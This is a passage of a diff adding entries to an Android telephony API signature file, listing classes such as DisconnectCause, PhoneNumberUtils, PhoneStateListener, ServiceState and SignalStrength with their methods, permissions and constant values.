+    field public static final int USER_AUTHENTICATION = 29; // 0x1d
+    field public static final int VSNCP_ADMINISTRATIVELY_PROHIBITED = 2245; // 0x8c5
+    field public static final int VSNCP_APN_UNAUTHORIZED = 2238; // 0x8be
+    field public static final int VSNCP_GEN_ERROR = 2237; // 0x8bd
+    field public static final int VSNCP_INSUFFICIENT_PARAMETERS = 2243; // 0x8c3
+    field public static final int VSNCP_NO_PDN_GATEWAY_ADDRESS = 2240; // 0x8c0
+    field public static final int VSNCP_PDN_EXISTS_FOR_THIS_APN = 2248; // 0x8c8
+    field public static final int VSNCP_PDN_GATEWAY_REJECT = 2242; // 0x8c2
+    field public static final int VSNCP_PDN_GATEWAY_UNREACHABLE = 2241; // 0x8c1
+    field public static final int VSNCP_PDN_ID_IN_USE = 2246; // 0x8c6
+    field public static final int VSNCP_PDN_LIMIT_EXCEEDED = 2239; // 0x8bf
+    field public static final int VSNCP_RECONNECT_NOT_ALLOWED = 2249; // 0x8c9
+    field public static final int VSNCP_RESOURCE_UNAVAILABLE = 2244; // 0x8c4
+    field public static final int VSNCP_SUBSCRIBER_LIMITATION = 2247; // 0x8c7
+    field public static final int VSNCP_TIMEOUT = 2236; // 0x8bc
+  }
+
+  public final class DisconnectCause {
+    field public static final int ALREADY_DIALING = 72; // 0x48
+    field public static final int ANSWERED_ELSEWHERE = 52; // 0x34
+    field public static final int BUSY = 4; // 0x4
+    field public static final int CALLING_DISABLED = 74; // 0x4a
+    field public static final int CALL_BARRED = 20; // 0x14
+    field public static final int CALL_PULLED = 51; // 0x33
+    field public static final int CANT_CALL_WHILE_RINGING = 73; // 0x49
+    field public static final int CDMA_ACCESS_BLOCKED = 35; // 0x23
+    field public static final int CDMA_ACCESS_FAILURE = 32; // 0x20
+    field public static final int CDMA_ALREADY_ACTIVATED = 49; // 0x31
+    field public static final int CDMA_DROP = 27; // 0x1b
+    field public static final int CDMA_INTERCEPT = 28; // 0x1c
+    field public static final int CDMA_LOCKED_UNTIL_POWER_CYCLE = 26; // 0x1a
+    field public static final int CDMA_NOT_EMERGENCY = 34; // 0x22
+    field public static final int CDMA_PREEMPTED = 33; // 0x21
+    field public static final int CDMA_REORDER = 29; // 0x1d
+    field public static final int CDMA_RETRY_ORDER = 31; // 0x1f
+    field public static final int CDMA_SO_REJECT = 30; // 0x1e
+    field public static final int CONGESTION = 5; // 0x5
+    field public static final int CS_RESTRICTED = 22; // 0x16
+    field public static final int CS_RESTRICTED_EMERGENCY = 24; // 0x18
+    field public static final int CS_RESTRICTED_NORMAL = 23; // 0x17
+    field public static final int DATA_DISABLED = 54; // 0x36
+    field public static final int DATA_LIMIT_REACHED = 55; // 0x37
+    field public static final int DIALED_CALL_FORWARDING_WHILE_ROAMING = 57; // 0x39
+    field public static final int DIALED_MMI = 39; // 0x27
+    field public static final int DIAL_LOW_BATTERY = 62; // 0x3e
+    field public static final int DIAL_MODIFIED_TO_DIAL = 48; // 0x30
+    field public static final int DIAL_MODIFIED_TO_DIAL_VIDEO = 66; // 0x42
+    field public static final int DIAL_MODIFIED_TO_SS = 47; // 0x2f
+    field public static final int DIAL_MODIFIED_TO_USSD = 46; // 0x2e
+    field public static final int DIAL_VIDEO_MODIFIED_TO_DIAL = 69; // 0x45
+    field public static final int DIAL_VIDEO_MODIFIED_TO_DIAL_VIDEO = 70; // 0x46
+    field public static final int DIAL_VIDEO_MODIFIED_TO_SS = 67; // 0x43
+    field public static final int DIAL_VIDEO_MODIFIED_TO_USSD = 68; // 0x44
+    field public static final int EMERGENCY_CALL_OVER_WFC_NOT_AVAILABLE = 78; // 0x4e
+    field public static final int EMERGENCY_PERM_FAILURE = 64; // 0x40
+    field public static final int EMERGENCY_TEMP_FAILURE = 63; // 0x3f
+    field public static final int ERROR_UNSPECIFIED = 36; // 0x24
+    field public static final int FDN_BLOCKED = 21; // 0x15
+    field public static final int ICC_ERROR = 19; // 0x13
+    field public static final int IMEI_NOT_ACCEPTED = 58; // 0x3a
+    field public static final int IMS_ACCESS_BLOCKED = 60; // 0x3c
+    field public static final int IMS_MERGED_SUCCESSFULLY = 45; // 0x2d
+    field public static final int IMS_SIP_ALTERNATE_EMERGENCY_CALL = 71; // 0x47
+    field public static final int INCOMING_AUTO_REJECTED = 81; // 0x51
+    field public static final int INCOMING_MISSED = 1; // 0x1
+    field public static final int INCOMING_REJECTED = 16; // 0x10
+    field public static final int INVALID_CREDENTIALS = 10; // 0xa
+    field public static final int INVALID_NUMBER = 7; // 0x7
+    field public static final int LIMIT_EXCEEDED = 15; // 0xf
+    field public static final int LOCAL = 3; // 0x3
+    field public static final int LOST_SIGNAL = 14; // 0xe
+    field public static final int LOW_BATTERY = 61; // 0x3d
+    field public static final int MAXIMUM_NUMBER_OF_CALLS_REACHED = 53; // 0x35
+    field public static final int MEDIA_TIMEOUT = 77; // 0x4d
+    field public static final int MMI = 6; // 0x6
+    field public static final int NORMAL = 2; // 0x2
+    field public static final int NORMAL_UNSPECIFIED = 65; // 0x41
+    field public static final int NOT_DISCONNECTED = 0; // 0x0
+    field public static final int NOT_VALID = -1; // 0xffffffff
+    field public static final int NO_PHONE_NUMBER_SUPPLIED = 38; // 0x26
+    field public static final int NUMBER_UNREACHABLE = 8; // 0x8
+    field public static final int OTASP_PROVISIONING_IN_PROCESS = 76; // 0x4c
+    field public static final int OUTGOING_CANCELED = 44; // 0x2c
+    field public static final int OUTGOING_EMERGENCY_CALL_PLACED = 80; // 0x50
+    field public static final int OUTGOING_FAILURE = 43; // 0x2b
+    field public static final int OUT_OF_NETWORK = 11; // 0xb
+    field public static final int OUT_OF_SERVICE = 18; // 0x12
+    field public static final int POWER_OFF = 17; // 0x11
+    field public static final int SERVER_ERROR = 12; // 0xc
+    field public static final int SERVER_UNREACHABLE = 9; // 0x9
+    field public static final int TIMED_OUT = 13; // 0xd
+    field public static final int TOO_MANY_ONGOING_CALLS = 75; // 0x4b
+    field public static final int UNOBTAINABLE_NUMBER = 25; // 0x19
+    field public static final int VIDEO_CALL_NOT_ALLOWED_WHILE_TTY_ENABLED = 50; // 0x32
+    field public static final int VOICEMAIL_NUMBER_MISSING = 40; // 0x28
+    field public static final int WFC_SERVICE_NOT_AVAILABLE_IN_THIS_LOCATION = 79; // 0x4f
+    field public static final int WIFI_LOST = 59; // 0x3b
+  }
+
+  public class IccOpenLogicalChannelResponse implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getChannel();
+    method public byte[] getSelectResponse();
+    method public int getStatus();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.IccOpenLogicalChannelResponse> CREATOR;
+    field public static final int INVALID_CHANNEL = -1; // 0xffffffff
+    field public static final int STATUS_MISSING_RESOURCE = 2; // 0x2
+    field public static final int STATUS_NO_ERROR = 1; // 0x1
+    field public static final int STATUS_NO_SUCH_ELEMENT = 3; // 0x3
+    field public static final int STATUS_UNKNOWN_ERROR = 4; // 0x4
+  }
+
+  public class MbmsDownloadSession implements java.lang.AutoCloseable {
+    method public void addProgressListener(@NonNull android.telephony.mbms.DownloadRequest, @NonNull java.util.concurrent.Executor, @NonNull android.telephony.mbms.DownloadProgressListener);
+    method public void addServiceAnnouncement(@NonNull byte[]);
+    method public void addStatusListener(@NonNull android.telephony.mbms.DownloadRequest, @NonNull java.util.concurrent.Executor, @NonNull android.telephony.mbms.DownloadStatusListener);
+    method public void cancelDownload(@NonNull android.telephony.mbms.DownloadRequest);
+    method public void close();
+    method public static android.telephony.MbmsDownloadSession create(@NonNull android.content.Context, @NonNull java.util.concurrent.Executor, @NonNull android.telephony.mbms.MbmsDownloadSessionCallback);
+    method @Nullable public static android.telephony.MbmsDownloadSession create(@NonNull android.content.Context, @NonNull java.util.concurrent.Executor, int, @NonNull android.telephony.mbms.MbmsDownloadSessionCallback);
+    method public void download(@NonNull android.telephony.mbms.DownloadRequest);
+    method public static int getMaximumServiceAnnouncementSize();
+    method @Nullable public java.io.File getTempFileRootDirectory();
+    method @NonNull public java.util.List<android.telephony.mbms.DownloadRequest> listPendingDownloads();
+    method public void removeProgressListener(@NonNull android.telephony.mbms.DownloadRequest, @NonNull android.telephony.mbms.DownloadProgressListener);
+    method public void removeStatusListener(@NonNull android.telephony.mbms.DownloadRequest, @NonNull android.telephony.mbms.DownloadStatusListener);
+    method public void requestDownloadState(android.telephony.mbms.DownloadRequest, android.telephony.mbms.FileInfo);
+    method public void requestUpdateFileServices(@NonNull java.util.List<java.lang.String>);
+    method public void resetDownloadKnowledge(android.telephony.mbms.DownloadRequest);
+    method public void setTempFileRootDirectory(@NonNull java.io.File);
+    field public static final String DEFAULT_TOP_LEVEL_TEMP_DIRECTORY = "androidMbmsTempFileRoot";
+    field public static final String EXTRA_MBMS_COMPLETED_FILE_URI = "android.telephony.extra.MBMS_COMPLETED_FILE_URI";
+    field public static final String EXTRA_MBMS_DOWNLOAD_REQUEST = "android.telephony.extra.MBMS_DOWNLOAD_REQUEST";
+    field public static final String EXTRA_MBMS_DOWNLOAD_RESULT = "android.telephony.extra.MBMS_DOWNLOAD_RESULT";
+    field public static final String EXTRA_MBMS_FILE_INFO = "android.telephony.extra.MBMS_FILE_INFO";
+    field public static final int RESULT_CANCELLED = 2; // 0x2
+    field public static final int RESULT_DOWNLOAD_FAILURE = 6; // 0x6
+    field public static final int RESULT_EXPIRED = 3; // 0x3
+    field public static final int RESULT_FILE_ROOT_UNREACHABLE = 8; // 0x8
+    field public static final int RESULT_IO_ERROR = 4; // 0x4
+    field public static final int RESULT_OUT_OF_STORAGE = 7; // 0x7
+    field public static final int RESULT_SERVICE_ID_NOT_DEFINED = 5; // 0x5
+    field public static final int RESULT_SUCCESSFUL = 1; // 0x1
+    field public static final int STATUS_ACTIVELY_DOWNLOADING = 1; // 0x1
+    field public static final int STATUS_PENDING_DOWNLOAD = 2; // 0x2
+    field public static final int STATUS_PENDING_DOWNLOAD_WINDOW = 4; // 0x4
+    field public static final int STATUS_PENDING_REPAIR = 3; // 0x3
+    field public static final int STATUS_UNKNOWN = 0; // 0x0
+  }
+
+  public class MbmsGroupCallSession implements java.lang.AutoCloseable {
+    method public void close();
+    method @Nullable public static android.telephony.MbmsGroupCallSession create(@NonNull android.content.Context, int, @NonNull java.util.concurrent.Executor, @NonNull android.telephony.mbms.MbmsGroupCallSessionCallback);
+    method @Nullable public static android.telephony.MbmsGroupCallSession create(@NonNull android.content.Context, @NonNull java.util.concurrent.Executor, @NonNull android.telephony.mbms.MbmsGroupCallSessionCallback);
+    method @Nullable public android.telephony.mbms.GroupCall startGroupCall(long, @NonNull java.util.List<java.lang.Integer>, @NonNull java.util.List<java.lang.Integer>, @NonNull java.util.concurrent.Executor, @NonNull android.telephony.mbms.GroupCallCallback);
+  }
+
+  public class MbmsStreamingSession implements java.lang.AutoCloseable {
+    method public void close();
+    method @Nullable public static android.telephony.MbmsStreamingSession create(@NonNull android.content.Context, @NonNull java.util.concurrent.Executor, int, @NonNull android.telephony.mbms.MbmsStreamingSessionCallback);
+    method public static android.telephony.MbmsStreamingSession create(@NonNull android.content.Context, @NonNull java.util.concurrent.Executor, @NonNull android.telephony.mbms.MbmsStreamingSessionCallback);
+    method public void requestUpdateStreamingServices(java.util.List<java.lang.String>);
+    method @Nullable public android.telephony.mbms.StreamingService startStreaming(android.telephony.mbms.StreamingServiceInfo, @NonNull java.util.concurrent.Executor, android.telephony.mbms.StreamingServiceCallback);
+  }
+
+  @Deprecated public class NeighboringCellInfo implements android.os.Parcelable {
+    ctor @Deprecated public NeighboringCellInfo();
+    ctor @Deprecated public NeighboringCellInfo(int, int);
+    ctor @Deprecated public NeighboringCellInfo(int, String, int);
+    ctor @Deprecated public NeighboringCellInfo(android.os.Parcel);
+    method @Deprecated public int describeContents();
+    method @Deprecated public int getCid();
+    method @Deprecated public int getLac();
+    method @Deprecated public int getNetworkType();
+    method @Deprecated public int getPsc();
+    method @Deprecated public int getRssi();
+    method @Deprecated public void setCid(int);
+    method @Deprecated public void setRssi(int);
+    method @Deprecated public void writeToParcel(android.os.Parcel, int);
+    field @Deprecated @NonNull public static final android.os.Parcelable.Creator<android.telephony.NeighboringCellInfo> CREATOR;
+    field @Deprecated public static final int UNKNOWN_CID = -1; // 0xffffffff
+    field @Deprecated public static final int UNKNOWN_RSSI = 99; // 0x63
+  }
+
+  public final class NetworkRegistrationInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public int getAccessNetworkTechnology();
+    method @NonNull public java.util.List<java.lang.Integer> getAvailableServices();
+    method @Nullable public android.telephony.CellIdentity getCellIdentity();
+    method public int getDomain();
+    method @Nullable public String getRegisteredPlmn();
+    method public int getTransportType();
+    method public boolean isRegistered();
+    method public boolean isRoaming();
+    method public boolean isSearching();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.NetworkRegistrationInfo> CREATOR;
+    field public static final int DOMAIN_CS = 1; // 0x1
+    field public static final int DOMAIN_CS_PS = 3; // 0x3
+    field public static final int DOMAIN_PS = 2; // 0x2
+    field public static final int DOMAIN_UNKNOWN = 0; // 0x0
+    field public static final int NR_STATE_CONNECTED = 3; // 0x3
+    field public static final int NR_STATE_NONE = 0; // 0x0
+    field public static final int NR_STATE_NOT_RESTRICTED = 2; // 0x2
+    field public static final int NR_STATE_RESTRICTED = 1; // 0x1
+    field public static final int SERVICE_TYPE_DATA = 2; // 0x2
+    field public static final int SERVICE_TYPE_EMERGENCY = 5; // 0x5
+    field public static final int SERVICE_TYPE_SMS = 3; // 0x3
+    field public static final int SERVICE_TYPE_UNKNOWN = 0; // 0x0
+    field public static final int SERVICE_TYPE_VIDEO = 4; // 0x4
+    field public static final int SERVICE_TYPE_VOICE = 1; // 0x1
+  }
+
+  public class NetworkScan {
+    method public void stopScan();
+    field public static final int ERROR_INTERRUPTED = 10002; // 0x2712
+    field public static final int ERROR_INVALID_SCAN = 2; // 0x2
+    field public static final int ERROR_INVALID_SCANID = 10001; // 0x2711
+    field public static final int ERROR_MODEM_ERROR = 1; // 0x1
+    field public static final int ERROR_MODEM_UNAVAILABLE = 3; // 0x3
+    field public static final int ERROR_RADIO_INTERFACE_ERROR = 10000; // 0x2710
+    field public static final int ERROR_UNSUPPORTED = 4; // 0x4
+    field public static final int SUCCESS = 0; // 0x0
+  }
+
+  public final class NetworkScanRequest implements android.os.Parcelable {
+    ctor public NetworkScanRequest(int, android.telephony.RadioAccessSpecifier[], int, int, boolean, int, java.util.ArrayList<java.lang.String>);
+    method public int describeContents();
+    method public boolean getIncrementalResults();
+    method public int getIncrementalResultsPeriodicity();
+    method public int getMaxSearchTime();
+    method public java.util.ArrayList<java.lang.String> getPlmns();
+    method public int getScanType();
+    method public int getSearchPeriodicity();
+    method public android.telephony.RadioAccessSpecifier[] getSpecifiers();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.NetworkScanRequest> CREATOR;
+    field public static final int SCAN_TYPE_ONE_SHOT = 0; // 0x0
+    field public static final int SCAN_TYPE_PERIODIC = 1; // 0x1
+  }
+
+  public class PhoneNumberFormattingTextWatcher implements android.text.TextWatcher {
+    ctor public PhoneNumberFormattingTextWatcher();
+    ctor public PhoneNumberFormattingTextWatcher(String);
+    method public void afterTextChanged(android.text.Editable);
+    method public void beforeTextChanged(CharSequence, int, int, int);
+    method public void onTextChanged(CharSequence, int, int, int);
+  }
+
+  public class PhoneNumberUtils {
+    ctor public PhoneNumberUtils();
+    method public static void addTtsSpan(android.text.Spannable, int, int);
+    method public static boolean areSamePhoneNumber(@NonNull String, @NonNull String, @NonNull String);
+    method @Deprecated public static String calledPartyBCDFragmentToString(byte[], int, int);
+    method public static String calledPartyBCDFragmentToString(byte[], int, int, int);
+    method @Deprecated public static String calledPartyBCDToString(byte[], int, int);
+    method public static String calledPartyBCDToString(byte[], int, int, int);
+    method @Deprecated public static boolean compare(String, String);
+    method @Deprecated public static boolean compare(android.content.Context, String, String);
+    method public static String convertKeypadLettersToDigits(String);
+    method public static android.text.style.TtsSpan createTtsSpan(String);
+    method public static CharSequence createTtsSpannable(CharSequence);
+    method public static String extractNetworkPortion(String);
+    method public static String extractPostDialPortion(String);
+    method @Deprecated public static void formatJapaneseNumber(android.text.Editable);
+    method @Deprecated public static void formatNanpNumber(android.text.Editable);
+    method @Deprecated public static String formatNumber(String);
+    method @Deprecated public static void formatNumber(android.text.Editable, int);
+    method public static String formatNumber(String, String);
+    method public static String formatNumber(String, String, String);
+    method public static String formatNumberToE164(String, String);
+    method public static String formatNumberToRFC3966(String, String);
+    method @Deprecated public static int getFormatTypeForLocale(java.util.Locale);
+    method public static String getNumberFromIntent(android.content.Intent, android.content.Context);
+    method public static String getStrippedReversed(String);
+    method public static final boolean is12Key(char);
+    method public static final boolean isDialable(char);
+    method @Deprecated public static boolean isEmergencyNumber(String);
+    method public static boolean isGlobalPhoneNumber(String);
+    method public static boolean isISODigit(char);
+    method @Deprecated public static boolean isLocalEmergencyNumber(android.content.Context, String);
+    method public static final boolean isNonSeparator(char);
+    method public static final boolean isReallyDialable(char);
+    method public static final boolean isStartsPostDial(char);
+    method public static boolean isVoiceMailNumber(String);
+    method public static boolean isWellFormedSmsAddress(String);
+    method public static byte[] networkPortionToCalledPartyBCD(String);
+    method public static byte[] networkPortionToCalledPartyBCDWithLength(String);
+    method public static String normalizeNumber(String);
+    method @Deprecated public static byte[] numberToCalledPartyBCD(String);
+    method public static byte[] numberToCalledPartyBCD(String, int);
+    method public static String replaceUnicodeDigits(String);
+    method public static String stringFromStringAndTOA(String, int);
+    method public static String stripSeparators(String);
+    method public static String toCallerIDMinMatch(String);
+    method public static int toaFromString(String);
+    field public static final int BCD_EXTENDED_TYPE_CALLED_PARTY = 2; // 0x2
+    field public static final int BCD_EXTENDED_TYPE_EF_ADN = 1; // 0x1
+    field public static final int FORMAT_JAPAN = 2; // 0x2
+    field public static final int FORMAT_NANP = 1; // 0x1
+    field public static final int FORMAT_UNKNOWN = 0; // 0x0
+    field public static final char PAUSE = 44; // 0x002c ','
+    field public static final int TOA_International = 145; // 0x91
+    field public static final int TOA_Unknown = 129; // 0x81
+    field public static final char WAIT = 59; // 0x003b ';'
+    field public static final char WILD = 78; // 0x004e 'N'
+  }
+
+  @Deprecated public class PhoneStateListener {
+    ctor @Deprecated public PhoneStateListener();
+    ctor @Deprecated public PhoneStateListener(@NonNull java.util.concurrent.Executor);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onActiveDataSubscriptionIdChanged(int);
+    method @Deprecated @RequiresPermission(allOf={android.Manifest.permission.READ_PRECISE_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void onBarringInfoChanged(@NonNull android.telephony.BarringInfo);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void onCallDisconnectCauseChanged(int, int);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onCallForwardingIndicatorChanged(boolean);
+    method @Deprecated @RequiresPermission(value=android.Manifest.permission.READ_PHONE_STATE, conditional=true) public void onCallStateChanged(int, String);
+    method @Deprecated @RequiresPermission(allOf={android.Manifest.permission.READ_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void onCellInfoChanged(java.util.List<android.telephony.CellInfo>);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public void onCellLocationChanged(android.telephony.CellLocation);
+    method @Deprecated public void onDataActivity(int);
+    method @Deprecated public void onDataConnectionStateChanged(int);
+    method @Deprecated public void onDataConnectionStateChanged(int, int);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onDisplayInfoChanged(@NonNull android.telephony.TelephonyDisplayInfo);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onEmergencyNumberListChanged(@NonNull java.util.Map<java.lang.Integer,java.util.List<android.telephony.emergency.EmergencyNumber>>);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void onImsCallDisconnectCauseChanged(@NonNull android.telephony.ims.ImsReasonInfo);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public void onMessageWaitingIndicatorChanged(boolean);
+    method @Deprecated @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public void onPreciseDataConnectionStateChanged(@NonNull android.telephony.PreciseDataConnectionState);
+    method @Deprecated @RequiresPermission(allOf={android.Manifest.permission.READ_PRECISE_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public void onRegistrationFailed(@NonNull android.telephony.CellIdentity, @NonNull String, int, int, int);
+    method @Deprecated public void onServiceStateChanged(android.telephony.ServiceState);
+    method @Deprecated public void onSignalStrengthChanged(int);
+    method @Deprecated public void onSignalStrengthsChanged(android.telephony.SignalStrength);
+    method @Deprecated public void onUserMobileDataStateChanged(boolean);
+    field @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public static final int LISTEN_ACTIVE_DATA_SUBSCRIPTION_ID_CHANGE = 4194304; // 0x400000
+    field @Deprecated @RequiresPermission(allOf={android.Manifest.permission.READ_PRECISE_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public static final int LISTEN_BARRING_INFO = -2147483648; // 0x80000000
+    field @Deprecated @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public static final int LISTEN_CALL_DISCONNECT_CAUSES = 33554432; // 0x2000000
+    field @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public static final int LISTEN_CALL_FORWARDING_INDICATOR = 8; // 0x8
+    field @Deprecated public static final int LISTEN_CALL_STATE = 32; // 0x20
+    field @Deprecated @RequiresPermission(allOf={android.Manifest.permission.READ_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public static final int LISTEN_CELL_INFO = 1024; // 0x400
+    field @Deprecated @RequiresPermission(android.Manifest.permission.ACCESS_FINE_LOCATION) public static final int LISTEN_CELL_LOCATION = 16; // 0x10
+    field @Deprecated public static final int LISTEN_DATA_ACTIVITY = 128; // 0x80
+    field @Deprecated public static final int LISTEN_DATA_CONNECTION_STATE = 64; // 0x40
+    field @Deprecated public static final int LISTEN_DISPLAY_INFO_CHANGED = 1048576; // 0x100000
+    field @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public static final int LISTEN_EMERGENCY_NUMBER_LIST = 16777216; // 0x1000000
+    field @Deprecated @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public static final int LISTEN_IMS_CALL_DISCONNECT_CAUSES = 134217728; // 0x8000000
+    field @Deprecated @RequiresPermission(android.Manifest.permission.READ_PHONE_STATE) public static final int LISTEN_MESSAGE_WAITING_INDICATOR = 4; // 0x4
+    field @Deprecated public static final int LISTEN_NONE = 0; // 0x0
+    field @Deprecated @RequiresPermission(android.Manifest.permission.READ_PRECISE_PHONE_STATE) public static final int LISTEN_PRECISE_DATA_CONNECTION_STATE = 4096; // 0x1000
+    field @Deprecated @RequiresPermission(allOf={android.Manifest.permission.READ_PRECISE_PHONE_STATE, android.Manifest.permission.ACCESS_FINE_LOCATION}) public static final int LISTEN_REGISTRATION_FAILURE = 1073741824; // 0x40000000
+    field @Deprecated public static final int LISTEN_SERVICE_STATE = 1; // 0x1
+    field @Deprecated public static final int LISTEN_SIGNAL_STRENGTH = 2; // 0x2
+    field @Deprecated public static final int LISTEN_SIGNAL_STRENGTHS = 256; // 0x100
+    field @Deprecated public static final int LISTEN_USER_MOBILE_DATA_STATE = 524288; // 0x80000
+  }
+
+  public final class PhysicalChannelConfig implements android.os.Parcelable {
+    method public int describeContents();
+    method @IntRange(from=1, to=261) public int getBand();
+    method @IntRange(from=1) public int getCellBandwidthDownlinkKhz();
+    method @IntRange(from=1) public int getCellBandwidthUplinkKhz();
+    method public int getConnectionStatus();
+    method @IntRange(from=0) public int getDownlinkChannelNumber();
+    method @IntRange(from=0) public int getDownlinkFrequencyKhz();
+    method public int getNetworkType();
+    method @IntRange(from=0, to=1007) public int getPhysicalCellId();
+    method @IntRange(from=0) public int getUplinkChannelNumber();
+    method @IntRange(from=0) public int getUplinkFrequencyKhz();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field public static final int BAND_UNKNOWN = 0; // 0x0
+    field public static final int CELL_BANDWIDTH_UNKNOWN = 0; // 0x0
+    field public static final int CHANNEL_NUMBER_UNKNOWN = 2147483647; // 0x7fffffff
+    field public static final int CONNECTION_PRIMARY_SERVING = 1; // 0x1
+    field public static final int CONNECTION_SECONDARY_SERVING = 2; // 0x2
+    field public static final int CONNECTION_UNKNOWN = -1; // 0xffffffff
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.PhysicalChannelConfig> CREATOR;
+    field public static final int FREQUENCY_UNKNOWN = -1; // 0xffffffff
+    field public static final int PHYSICAL_CELL_ID_MAXIMUM_VALUE = 1007; // 0x3ef
+    field public static final int PHYSICAL_CELL_ID_UNKNOWN = -1; // 0xffffffff
+  }
+
+  public final class PreciseDataConnectionState implements android.os.Parcelable {
+    method public int describeContents();
+    method @Nullable public android.telephony.data.ApnSetting getApnSetting();
+    method public int getId();
+    method public int getLastCauseCode();
+    method @Nullable public android.net.LinkProperties getLinkProperties();
+    method public int getNetworkType();
+    method public int getState();
+    method public int getTransportType();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.PreciseDataConnectionState> CREATOR;
+  }
+
+  public final class RadioAccessSpecifier implements android.os.Parcelable {
+    ctor public RadioAccessSpecifier(int, int[], int[]);
+    method public int describeContents();
+    method public int[] getBands();
+    method public int[] getChannels();
+    method public int getRadioAccessNetwork();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.RadioAccessSpecifier> CREATOR;
+  }
+
+  public class ServiceState implements android.os.Parcelable {
+    ctor public ServiceState();
+    ctor public ServiceState(android.telephony.ServiceState);
+    ctor @Deprecated public ServiceState(android.os.Parcel);
+    method protected void copyFrom(android.telephony.ServiceState);
+    method public int describeContents();
+    method public int getCdmaNetworkId();
+    method public int getCdmaSystemId();
+    method public int[] getCellBandwidths();
+    method public int getChannelNumber();
+    method public int getDuplexMode();
+    method public boolean getIsManualSelection();
+    method @NonNull public java.util.List<android.telephony.NetworkRegistrationInfo> getNetworkRegistrationInfoList();
+    method public String getOperatorAlphaLong();
+    method public String getOperatorAlphaShort();
+    method public String getOperatorNumeric();
+    method public boolean getRoaming();
+    method public int getState();
+    method public boolean isSearching();
+    method public void setIsManualSelection(boolean);
+    method public void setOperatorName(String, String, String);
+    method public void setRoaming(boolean);
+    method public void setState(int);
+    method public void setStateOff();
+    method public void setStateOutOfService();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.ServiceState> CREATOR;
+    field public static final int DUPLEX_MODE_FDD = 1; // 0x1
+    field public static final int DUPLEX_MODE_TDD = 2; // 0x2
+    field public static final int DUPLEX_MODE_UNKNOWN = 0; // 0x0
+    field public static final int STATE_EMERGENCY_ONLY = 2; // 0x2
+    field public static final int STATE_IN_SERVICE = 0; // 0x0
+    field public static final int STATE_OUT_OF_SERVICE = 1; // 0x1
+    field public static final int STATE_POWER_OFF = 3; // 0x3
+    field public static final int UNKNOWN_ID = -1; // 0xffffffff
+  }
+
+  public class SignalStrength implements android.os.Parcelable {
+    ctor public SignalStrength(@NonNull android.telephony.SignalStrength);
+    method public int describeContents();
+    method @Deprecated public int getCdmaDbm();
+    method @Deprecated public int getCdmaEcio();
+    method @NonNull public java.util.List<android.telephony.CellSignalStrength> getCellSignalStrengths();
+    method @NonNull public <T extends android.telephony.CellSignalStrength> java.util.List<T> getCellSignalStrengths(@NonNull Class<T>);
+    method @Deprecated public int getEvdoDbm();
+    method @Deprecated public int getEvdoEcio();
+    method @Deprecated public int getEvdoSnr();
+    method @Deprecated public int getGsmBitErrorRate();
+    method @Deprecated public int getGsmSignalStrength();
+    method public int getLevel();
+    method public long getTimestampMillis();
+    method @Deprecated public boolean isGsm();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.SignalStrength> CREATOR;
+    field public static final int INVALID = 2147483647; // 0x7fffffff
+  }
+
+  public final class SignalStrengthUpdateRequest implements android.os.Parcelable {
+    method public int describeContents();
+    method @NonNull public java.util.Collection<android.telephony.SignalThresholdInfo> getSignalThresholdInfos();
+    method public boolean isReportingRequestedWhileIdle();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.telephony.SignalStrengthUpdateRequest> CREATOR;
+  }
+
+  public static final class SignalStrengthUpdateRequest.Builder {
+    ctor public SignalStrengthUpdateRequest.Builder();
+    method @NonNull public android.telephony.SignalStrengthUpdateRequest build();
+    method @NonNull public android.telephony.SignalStrengthUpdateRequest.Builder setReportingRequestedWhileIdle(boolean);
+    method @NonNull public android.telephony.SignalStrengthUpdateRequest.Builder setSignalThresholdInfos(@NonNull java.util.Collection<android.telephony.SignalThresholdInfo>);
+  }
+
+  public final class SignalThresholdInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public static int getMaximumNumberOfThresholdsAllowed();
+    method public static int getMinimumNumberOfThresholdsAllowed();
+    method public int getRadioAccessNetworkType();
+    method public int getSignalMeasurementType();
+    method @NonNull public int[] getThresholds();
+    method public void writeToParcel(@NonNull android.os.Parcel, int);
